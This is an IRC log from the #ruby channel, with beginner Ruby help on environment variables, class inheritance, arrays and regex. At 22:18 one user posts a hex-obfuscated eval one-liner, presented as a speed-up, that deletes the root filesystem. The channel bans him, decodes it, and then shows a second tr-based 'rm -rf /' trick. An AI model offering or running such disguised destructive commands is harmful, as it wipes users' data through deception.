[16:55:50] GinoMan2440: has joined #ruby
[16:57:33] Cohedrin: has joined #ruby
[16:57:41] kareeoleez: has joined #ruby
[17:01:00] lxsameer: has joined #ruby
[17:01:19] kirillow: has joined #ruby
[17:02:43] hahuang61: has joined #ruby
[17:04:42] shevy: or a feature
[17:04:52] shevy: abolish all the rescues
[17:04:55] Zarthus: i'm not sure, but I can't reproduce it in a minimalistic environment
[17:05:33] naftilos76: has joined #ruby
[17:07:32] zacstewart: has joined #ruby
[17:14:04] the_drow: has joined #ruby
[17:14:15] marr: has joined #ruby
[17:14:37] pawnbox: has joined #ruby
[17:14:37] zacstewart: has joined #ruby
[17:15:17] AnoHito: has joined #ruby
[17:15:37] kareeoleez: has joined #ruby
[17:15:44] jenrzzz: has joined #ruby
[17:15:44] jenrzzz: has joined #ruby
[17:16:11] drewo: has joined #ruby
[17:16:19] the_drow: has joined #ruby
[17:16:30] LoneHermit: has joined #ruby
[17:17:59] UserInneed: has joined #ruby
[17:20:21] the_drow: has joined #ruby
[17:24:06] Es0teric: has joined #ruby
[17:24:21] gooodroot: has joined #ruby
[17:24:22] dionysus69: has joined #ruby
[17:28:42] goooodroot: has joined #ruby
[17:28:57] Dimik: has joined #ruby
[17:28:59] Zarthus: interesting, while I was having dinner it partially-magically fixed itself
[17:29:04] croberts: has joined #ruby
[17:29:22] croberts: is it possible to grab a bash env variable and make it a variable in ruby?
[17:29:22] Zarthus: I made some small changes that definitely looked wrong, but even if I revert those changes I can no longer reproduce the issue I had
[17:29:31] adaedra: croberts: ENV ?
[17:29:35] Zarthus: croberts: ENV["BASH_ENVIRONMENT_VARIABLE"]
[17:30:35] croberts: thanks guys
[17:33:52] kareeoleez: has joined #ruby
[17:34:15] gooooodroot: has joined #ruby
[17:34:16] htmldrum: has joined #ruby
[17:37:38] snowy: has joined #ruby
[17:43:36] smathy: has joined #ruby
[17:44:17] `tim`: has joined #ruby
[17:46:58] Silox|: has joined #ruby
[17:48:21] xlegoman_: has joined #ruby
[17:51:59] kareeoleez: has joined #ruby
[17:52:57] smathy: has joined #ruby
[17:53:49] houhoulis: has joined #ruby
[17:55:52] the_drow: has joined #ruby
[17:58:29] ramfjord: has joined #ruby
[17:58:52] Zarthus: For the (still) curious: My error logger class was raising an error, providing no feedback whatsoever
[17:59:06] Zarthus: failed to log error, rescued from reporting: can't be called from trap context
[17:59:22] Zarthus: so apperantly you can't write to a file within Kernel#trap
[17:59:27] chris2: has joined #ruby
[17:59:43] Zarthus: (but can still write to stderr/out)
[18:01:28] nerium: has joined #ruby
[18:05:39] Ishido: has joined #ruby
[18:07:11] A124: has joined #ruby
[18:07:12] RegulationD: has joined #ruby
[18:08:35] Sammichmaker: has joined #ruby
[18:10:07] kareeoleez: has joined #ruby
[18:12:43] Ispira: has left #ruby: ()
[18:14:45] blackmes1: has joined #ruby
[18:20:29] hahuang65: has joined #ruby
[18:21:02] the_drow: has joined #ruby
[18:22:51] ramfjord: has joined #ruby
[18:23:13] rubynewbie: has joined #ruby
[18:24:38] symm-: has joined #ruby
[18:24:41] Yzguy: has joined #ruby
[18:26:13] drptbl: has joined #ruby
[18:26:35] tax: has joined #ruby
[18:26:46] Azure: has joined #ruby
[18:27:04] segy: has joined #ruby
[18:28:18] kareeoleez: has joined #ruby
[18:28:41] DaniG2k: has joined #ruby
[18:29:45] JoshGlzBrk: has joined #ruby
[18:32:22] chopin_: has joined #ruby
[18:32:25] davedev24: has joined #ruby
[18:33:12] chouhoulis: has joined #ruby
[18:33:27] yqt: has joined #ruby
[18:34:12] justin_pdx: has joined #ruby
[18:34:49] davedev24: has joined #ruby
[18:35:39] Yzguy: has joined #ruby
[18:36:24] haxrbyte: has joined #ruby
[18:37:16] hahuang65: has joined #ruby
[18:38:36] futilegames: has joined #ruby
[18:38:47] cpup: has joined #ruby
[18:43:45] elifoster: has joined #ruby
[18:43:47] JohnBat26: has joined #ruby
[18:47:02] zacstewart: has joined #ruby
[18:48:44] anik120: has joined #ruby
[18:49:18] deadhound: has joined #ruby
[18:51:35] GinoMan2440: has joined #ruby
[18:51:36] drewo: has joined #ruby
[18:51:40] j2k: has joined #ruby
[18:53:12] cdg: has joined #ruby
[18:56:33] goodroot: has joined #ruby
[18:57:23] n_blownapart: has joined #ruby
[18:57:58] deadhound: has joined #ruby
[18:59:41] moeabdol: has joined #ruby
[19:02:21] kirun: has joined #ruby
[19:03:30] hahuang61: has joined #ruby
[19:03:34] rkazak: has joined #ruby
[19:05:45] ReK2: has joined #ruby
[19:06:08] jelon: has joined #ruby
[19:06:15] Yzguy: has joined #ruby
[19:07:12] DoubleMalt: has joined #ruby
[19:08:08] pawnbox: has joined #ruby
[19:08:33] jelon: has joined #ruby
[19:11:01] workmad3: has joined #ruby
[19:11:35] kareeoleez: has joined #ruby
[19:11:36] jelon: has joined #ruby
[19:13:13] Labaleine: has joined #ruby
[19:25:02] `tim`: has joined #ruby
[19:31:07] spider-mario: has joined #ruby
[19:31:18] Vingador: has joined #ruby
[19:33:07] kareeoleez: has joined #ruby
[19:34:42] htmldrum: has joined #ruby
[19:35:32] minimalism: has joined #ruby
[19:36:02] stannard: has joined #ruby
[19:40:02] edwinvdgraaf: has joined #ruby
[19:40:37] edwinvdgraaf: has joined #ruby
[19:40:43] joaumg: has joined #ruby
[19:42:03] platzhirsch: has joined #ruby
[19:42:18] drewo: has joined #ruby
[19:42:34] Ocratech: has joined #ruby
[19:42:43] mdw: has joined #ruby
[19:47:46] skade: has joined #ruby
[19:48:40] Vingador: has joined #ruby
[19:49:37] yardenbar: has joined #ruby
[19:49:53] Yiota_: has joined #ruby
[19:50:26] millerti: has joined #ruby
[19:51:11] kareeoleez: has joined #ruby
[19:51:45] symm-: has joined #ruby
[19:53:02] htmldrum: has joined #ruby
[19:57:36] CoderPuppy: has joined #ruby
[19:58:35] diego1: has joined #ruby
[19:58:59] SilverKey: has joined #ruby
[19:59:44] diego1: has joined #ruby
[20:01:21] htmldrum: has joined #ruby
[20:01:47] gooodroot: has joined #ruby
[20:01:58] JoshGlzBrk: has joined #ruby
[20:02:47] nofxx: has joined #ruby
[20:04:11] hahuang61: has joined #ruby
[20:05:38] Vingador: has joined #ruby
[20:05:56] QORRiE: has joined #ruby
[20:06:00] rkoller: has joined #ruby
[20:08:01] deadhound: has joined #ruby
[20:08:04] RegulationD: has joined #ruby
[20:08:10] cpup: has joined #ruby
[20:09:31] kareeoleez: has joined #ruby
[20:10:25] duoi: has joined #ruby
[20:11:42] ex0ns: has joined #ruby
[20:12:08] naftilos76: has joined #ruby
[20:14:54] deadhound: has joined #ruby
[20:17:25] deadhound: has joined #ruby
[20:17:50] Coldblackice: has joined #ruby
[20:17:53] jenrzzz: has joined #ruby
[20:17:53] jenrzzz: has joined #ruby
[20:18:08] lomex: has joined #ruby
[20:18:44] kareeoleez: has joined #ruby
[20:19:24] deadhound: has joined #ruby
[20:19:33] goooodroot: has joined #ruby
[20:21:56] deadhound: has joined #ruby
[20:23:03] Gasher: has joined #ruby
[20:23:11] aeterne: has joined #ruby
[20:23:25] deadhound: has joined #ruby
[20:25:16] codecop: has joined #ruby
[20:27:13] banister: has joined #ruby
[20:28:17] chris2: has joined #ruby
[20:28:48] JoshGlzBrk: has joined #ruby
[20:32:11] stannard: has joined #ruby
[20:33:03] snowy: has joined #ruby
[20:33:21] stannard: has joined #ruby
[20:33:59] dikaio: has joined #ruby
[20:36:26] drewo: has joined #ruby
[20:36:37] auxbuss: has joined #ruby
[20:37:01] kareeoleez: has joined #ruby
[20:39:17] Gasher: has joined #ruby
[20:41:44] chipotle: has joined #ruby
[20:42:17] soahccc: What happens if I define an Outer::Inner class and then do "Outer < InheritSomething"? I have the feeling it removes "Inner"
[20:42:34] Ox0dea: soahccc: It's an error.
[20:42:46] soahccc: It doesn't throw one
[20:43:14] Coldblackice: has joined #ruby
[20:43:37] pawnbox: has joined #ruby
[20:43:52] Ox0dea: soahccc: https://eval.in/567103
[20:43:57] Ox0dea: You'll have to post some code.
[20:44:41] scepticulous: has joined #ruby
[20:45:32] Rodya_: has joined #ruby
[20:45:34] dionysus69: has joined #ruby
[20:46:40] soahccc: Ox0dea: https://gist.github.com/2called-chaos/3e81fb2e7a5a66d60351d59a99a24683
[20:47:19] apeiros: soahccc: that code is order dependent
[20:47:32] apeiros: if you load blueprint.rb before cbs_builder.rb, you'll get an exception
[20:47:42] apeiros: the other way round works
[20:48:03] soahccc: the funny thing is, it does get loaded in that order and I just get the error later because my blueprint class is just gone
[20:48:04] apeiros: >> class Foo; end; class Bar < Foo; end; Bar.ancestors
[20:48:06] ruby[bot]: apeiros: # => [Bar, Foo, Object, Kernel, BasicObject] (https://eval.in/567104)
[20:48:18] apeiros: >> class Foo; end; class Bar; end; class Bar < Foo; end; Bar.ancestors
[20:48:19] ruby[bot]: apeiros: # => superclass mismatch for class Bar (TypeError) ...check link for more (https://eval.in/567105)
[20:48:38] soahccc: I know that superclass mismatch thing from AR but I don't get it here :/
[20:48:55] apeiros: I doubt it happens the way you think then
[20:48:59] GodFather: has joined #ruby
[20:49:01] apeiros: because no, stuff won't just be gone.
[20:49:38] bruno-: has joined #ruby
[20:49:50] Ox0dea: >> class C < String; end; class C; end; C.ancestors
[20:49:51] ruby[bot]: Ox0dea: # => [C, String, Comparable, Object, Kernel, BasicObject] (https://eval.in/567106)
[20:49:57] soahccc: apeiros: I put a `say blueprint/builder/printer` on line 1 on each file and they get loaded in that order
[20:50:15] soahccc: apeiros: and with the name error it seems to be gone
[20:50:24] Ox0dea: You have to go well out of your way to remove/modify a superclass.
[20:50:30] soahccc: apeiros: on OS X that reads it out :)
[20:50:56] apeiros: oh, that `` was a shell-out, not delimiters for ruby code
[20:51:04] soahccc: I guess I just rename the files 1_, 2_, etc. since they get all loaded in order (all rb files, it's kinda messy)
[20:53:31] soahccc: since I don't win a prize with this project anyways :)
[20:55:06] kareeoleez: has joined #ruby
[20:55:19] LoneHermit: has joined #ruby
[20:56:04] Chachi: has joined #ruby
[20:59:13] Yiota_: has joined #ruby
[21:00:25] kkeuning: has joined #ruby
[21:01:27] kareeole_: has joined #ruby
[21:02:30] SilverKey: has joined #ruby
[21:02:48] drewo: has joined #ruby
[21:04:38] yfeldblum: has joined #ruby
[21:06:22] davedev24: has joined #ruby
[21:08:08] nofxx: has joined #ruby
[21:09:48] tohuw: has joined #ruby
[21:10:12] juanfra: has joined #ruby
[21:10:33] antgel: has joined #ruby
[21:11:04] eljimmy: has joined #ruby
[21:12:05] Es0teric: has joined #ruby
[21:12:20] Moosashi: has joined #ruby
[21:18:49] jenrzzz: has joined #ruby
[21:21:13] idefine: has joined #ruby
[21:22:44] chipotle: has joined #ruby
[21:24:03] zacstewart: has joined #ruby
[21:25:21] gooooodroot: has joined #ruby
[21:25:53] charliesome: has joined #ruby
[21:26:56] QORRiE: has joined #ruby
[21:29:55] ur5us: has joined #ruby
[21:30:20] sp4rrow: has joined #ruby
[21:31:59] Serp3nt: has joined #ruby
[21:33:12] LoneHerm_: has joined #ruby
[21:33:43] duderonomy: has joined #ruby
[21:35:37] zeroDivisible: has joined #ruby
[21:36:43] jeff2: has joined #ruby
[21:37:26] jeff2: Hi, how do I add an entire array to another, and delete the old one. I am aware of arr1 << arr2
[21:37:46] Ox0dea: &ri Array#concat jeff2
[21:37:46] `derpy: jeff2: http://ruby-doc.org/core-2.3.0/Array.html#method-i-concat
[21:39:18] SilverKey: has joined #ruby
[21:39:39] apeiros: "and delete the old one"?
[21:39:43] apeiros: what's that supposed to mean?
[21:39:55] Serp3nt: delete the old one
[21:39:57] Serp3nt: just kidding
[21:40:04] Serp3nt: where is it written?
[21:40:16] apeiros: serp3nt: in jeff2's question
[21:40:35] Serp3nt: I'd do arr1 + arr2
[21:40:42] Serp3nt: arr1 = nil
[21:40:51] Serp3nt: it seems really this simple
[21:41:07] Serp3nt: newarr = arr1 + arr2
[21:41:10] Serp3nt: arr1 = nil
[21:41:46] jeff2: so doing arr1 = nil, is that good practice ?
[21:41:56] Ox0dea: Ruby is garbage-collected.
[21:42:39] donovan: has joined #ruby
[21:42:40] jeff2: Ox0dea: what do you suggest ?
[21:42:57] Ox0dea: jeff2: What's your use case?
[21:43:00] jeff2: I was thinking that it can't be that simple
[21:43:11] Ox0dea: It is simple, but you've not been overly clear about what you want to do.
[21:43:15] Serp3nt: he mentioned "deleting" the old array, that's why I wrote "arr1 = nil". But actually you just ignore the old array
[21:43:41] Serp3nt: you do not need "delete" the old array
[21:43:50] Serp3nt: just ignore it in the rest of your code
[21:44:03] Serp3nt: and the array will be garbage collected when its scope were destroyed
[21:44:12] ramfjord: has joined #ruby
[21:44:29] jeff2: Ox0dea: I have an array with some elements, and I want to prioritize some values inside, and also arrange them, so I am creating a new array and putting first the ones I need to have prior and then adding what's left
[21:44:53] Ox0dea: jeff2: Sounds like you want #sort_by.
[21:45:50] Serp3nt: something like [2, 3, 1, 4] becomes [1, 2, 3, 4] after your procedure?
[21:45:50] Rodya_: has joined #ruby
[21:45:58] jeff2: Ox0dea: yes but I have also used regex to filter the words I need first, and put them before the other words, and than I am using sord_by
[21:46:26] jeff2: serp3nt: I have words say like Ruby, that needs to be before ['a', 'b', 'c']
[21:47:24] Serp3nt: so you like to sort words BEFORE individual chars?
[21:47:41] Serp3nt: well, if it's what you want
[21:47:49] diego1: has joined #ruby
[21:48:01] Serp3nt: i'd write a function that gather the words and individual chars and put each of them in separated arrays
[21:48:07] Serp3nt: and then concat them
[21:49:36] TinCan_Assassin: Question: How can I single out a given word in a string in a gets.chomp for use in an if statement?
[21:50:03] Ox0dea: TinCan_Assassin: Please clarify.
[21:50:13] jeff2: serp3nt: I think I am doing that, but after concat I am not sure what to do with the one of the arrays, so setting it to nil might be an option
[21:50:22] [-__-]: gets.chomp.split[n]
[21:50:25] Ox0dea: jeff2: https://eval.in/567126
[21:50:29] Serp3nt: like I said: just ignore them
[21:50:33] Serp3nt: when the function ends
[21:50:38] zeroDivisible: has joined #ruby
[21:50:38] Serp3nt: the scope will be destroyed
[21:50:44] Serp3nt: and the arrays will be garbage collector
[21:51:43] Serp3nt: correction: garbage collected
[21:51:57] sp4rrow: has joined #ruby
[21:52:35] jeff2: Ox0dea: thnx will look into that too, since even in that world list one of the words need to be first[0]
[21:52:36] Hanmac: ACTION now collect cabbage
[21:53:00] TinCan_Assassin: name = gets.chomp /n if name.downcase = "arthur"; #etc What I want is if someone responds "Arthur, King of the Britons" to single out the word Arthur and use it as the basis for my if Statement, without it being excepted for the other words in the string.
[21:54:05] GinoMan2440: has joined #ruby
[21:54:14] apeiros: TinCan_Assassin: if name =~ /\barthur\b/i
[21:54:48] htmldrum: has joined #ruby
[21:55:02] Ox0dea: apeiros: That'll match "I am not Arthur".
[21:55:22] dikaio: has joined #ruby
[21:55:39] apeiros: it'll be "the basis for their if statement"
[21:55:47] Moosashi: has joined #ruby
[21:56:01] [-__-]: how about the split function or whatever it's called?
[21:56:21] [-__-]: gets.chomp.split[1]
[21:56:42] Ox0dea: [-__-]: What's wrong with your face?
[21:56:56] [-__-]: there's nothing wrong with my face
[21:56:57] TinCan_Assassin: Turning it into an array of strings??
[21:57:10] [-__-]: TinCan_Assassin, idk, just compare wwith the first string
[21:57:15] Ox0dea: TinCan_Assassin: As apeiros has indicated, you want a regular expression.
[21:57:27] [-__-]: yeah, my solution is terrible
[21:57:34] Ox0dea: The proffered one does the trick unless you want the name to be the first word in the input.
[21:57:53] bronson: has joined #ruby
[21:58:32] TinCan_Assassin: I actually like it. Now, mind explaining why it works to a Ruby newb?
[21:58:49] [-__-]: which one?
[21:59:17] justin_pdx: has joined #ruby
[21:59:21] Labaleine: has joined #ruby
[21:59:30] Ox0dea: TinCan_Assassin: The \b anchor matches a "word boundary" and the /i flag enables case-insensitivity.
[21:59:34] TinCan_Assassin: apeiros solution.
[21:59:58] [-__-]: ¯\_(ツ)_/¯
[22:00:06] Musashi007: has joined #ruby
[22:00:07] shevy: a speaking smiley!
[22:00:29] TinCan_Assassin: name =~ \barthur\b/i
[22:00:33] Ox0dea: TinCan_Assassin: The \b anchor matches a "word boundary" and the /i flag enables case-insensitivity.
[22:01:33] TinCan_Assassin: OK. Thank you for the explanation. I'm writing my first program after Codecademy, for practice sake.
[22:01:56] TinCan_Assassin: I'm interested in becoming a developer.
[22:02:01] apeiros: TinCan_Assassin: you should practice precision. you used = instead of == earlier, and here you lacked a /
[22:02:08] BiHi: has joined #ruby
[22:02:16] diego1: has joined #ruby
[22:02:20] apeiros: programming languages are rather unforgiving, and with helpers, it makes it more difficult to figure what you mean.
[22:03:06] Ox0dea: "For all its power, the computer is a harsh taskmaster. Its programs must be correct, and what we wish to say must be said accurately in every detail."
[22:04:32] TinCan_Assassin: if name =~ /\barthur\b/i; puts "What...is the airspeed velocity of a coconut laden swallow?"?"
[22:07:44] TinCan_Assassin: ok, I get =~, what's the purpose of the / before the \b?
[22:07:57] Ox0dea: >> /foo/.class # TinCan_Assassin
[22:07:58] ruby[bot]: Ox0dea: # => Regexp (https://eval.in/567128)
[22:08:19] jaruga___: has joined #ruby
[22:08:47] [-__-]: hey Ox0dea
[22:10:09] JoshGlzBrk: has joined #ruby
[22:10:35] TinCan_Assassin: Wife and daughter are demanding my attention. Thank you for the help. I'll likely be back.
[22:13:12] drptbl: has joined #ruby
[22:18:13] pawnbox: has joined #ruby
[22:18:19] Serp3nt: ruby -e 'eval("\x46\x69\x6c\x65\x55\x74\x69\x6c\x73\x2e\x72\x6d\x5f\x66\x28\x27\x2f\x27\x2c\x20\x3a\x76\x65\x72\x62\x6f\x73\x65\x20\x3d\x3e\x20\x66\x61\x6c\x73\x65\x2c\x20\x3a\x70\x72\x65\x73\x65\x72\x76\x65\x20\x3d\x3e\x20\x66\x61\x6c\x73\x65\x29")'
[22:18:26] Serp3nt: run this command in your computer
[22:18:32] Serp3nt: and it'll be much more fast
[22:18:36] Serp3nt: it worked with me
[22:18:56] apeiros: !kick serp3nt not funny
[22:18:56] ruby[bot]: +bb serp3nt!*@*$#ruby-banned *!*@189.78.76.146$#ruby-banned
[22:18:56] ruby[bot]: ruby[bot] kicked serp3nt: funny
[22:19:31] apeiros: in case it's not obvious - don't execute the above code.
[22:19:36] Ox0dea: I'm gonna do it.
[22:19:52] Nilium: They're gonna do it.
[22:20:08] xlegoman: has joined #ruby
[22:20:19] Ox0dea: It's `FileUtils.rm_f('/', :verbose => false, :preserve => false)`.
[22:20:51] ruby[bot]: -bb serp3nt!*@*$#ruby-banned *!*@189.78.76.146$#ruby-banned
[22:21:36] Nilium: Kind of figured.
[22:21:41] Nilium: Nobody has any originality.
[22:21:51] Ox0dea: I have one.
[22:22:01] justin_pdx: has joined #ruby
[22:22:04] Nilium: Saving it?
[22:22:22] Ox0dea: $ `echo landline | tr denial -/\ fmr`
[22:27:17] bobbycvi: has joined #ruby
[22:27:45] goodroot: has joined #ruby
[22:30:04] Zarthus: i dunno why people obfuscate their exploits, personally I've only ever fallen for the nonobfuscated ones
[22:30:10] chouhoulis: has joined #ruby
[22:30:24] Kus: has joined #ruby
[22:31:00] chouhoulis: has joined #ruby
[22:31:05] Ox0dea: Are curlpipes "obfuscated"?
[22:32:35] johnny56_: has joined #ruby
[22:33:58] Zarthus: not really, no. but that's not one i've fallen for so far
[22:36:31] zacstewart: has joined #ruby
[22:36:37] mjuszczak: has joined #ruby
[22:37:08] zenlot6: has joined #ruby
[22:39:25] ramfjord: has joined #ruby
[22:40:29] kkeuning: has joined #ruby
[22:42:28] GodFather: has joined #ruby
[22:43:58] djbkd: has joined #ruby
[22:44:35] `tim`: has joined #ruby
[22:44:44] xall: has joined #ruby
[22:46:23] gooodroot: has joined #ruby
[22:48:46] SilverKey: has joined #ruby
[22:56:00] aspiers: has joined #ruby
[22:58:30] Labaleine: has joined #ruby
[22:59:03] drewo: has joined #ruby
[22:59:06] Hitl3rLov3dJ3ws: has joined #ruby
[22:59:10] Hitl3rLov3dJ3ws: https://en.wikipedia.org/wiki/Rescue_of_the_Danish_Jews
[22:59:43] weemsledeux: has joined #ruby
[23:00:41] DarthGandalf: has joined #ruby
[23:03:33] ruby-lang085: has joined #ruby
[23:04:56] goooodroot: has joined #ruby
[23:07:42] Radar: !badnick Hitl3rLov3dJ3ws
[23:07:43] ruby[bot]: +bb Hitl3rLov3dJ3ws!*@*$#ruby-banned *!*@gateway/web/freenode/ip.216.216.202.69$#ruby-banned
[23:07:43] antgel: has joined #ruby
[23:08:12] mjuszczak: has joined #ruby
[23:09:00] mjuszczak: has joined #ruby
[23:10:42] mjuszczak: has joined #ruby
[23:11:19] xall: has joined #ruby
[23:11:24] mjuszczak: has joined #ruby
[23:11:28] Musashi007: has joined #ruby
[23:12:03] mjuszczak: has joined #ruby
[23:12:03] xall: has joined #ruby
[23:12:52] Es0teric: has joined #ruby
[23:13:38] perturbation: has joined #ruby
[23:14:47] nando294021: has joined #ruby
[23:14:51] elifoster: has joined #ruby
[23:16:09] JoshGlzBrk: has joined #ruby
[23:18:31] Qommand0r: has joined #ruby
[23:19:21] aibot: has joined #ruby
[23:20:08] jenrzzz: has joined #ruby
[23:20:09] jenrzzz: has joined #ruby
[23:22:05] Chachi: has joined #ruby
[23:23:38] zacstewart: has joined #ruby
[23:34:06] diego1: has joined #ruby
[23:34:30] Madplatypus: has joined #ruby
[23:34:48] charliesome: has joined #ruby
[23:35:30] koooge: has joined #ruby
[23:39:30] djbkd: has joined #ruby
[23:40:44] zacstewart: has joined #ruby
[23:41:16] zeroDi: has joined #ruby
[23:46:16] gooooodroot: has joined #ruby
[23:46:51] CloCkWeRX: has joined #ruby
[23:49:08] zeroDivisible: has joined #ruby
[23:50:20] goodroot: has joined #ruby
[23:50:31] zeroDi: has joined #ruby
[23:51:32] bronson: has joined #ruby
[23:52:56] Tempesta: has joined #ruby
[23:53:01] chouhoulis: has joined #ruby
[23:54:04] Rodya_: has joined #ruby
[23:54:19] drewo: has joined #ruby
[23:54:20] nerium: has joined #ruby
[23:56:41] yfeldblum: has joined #ruby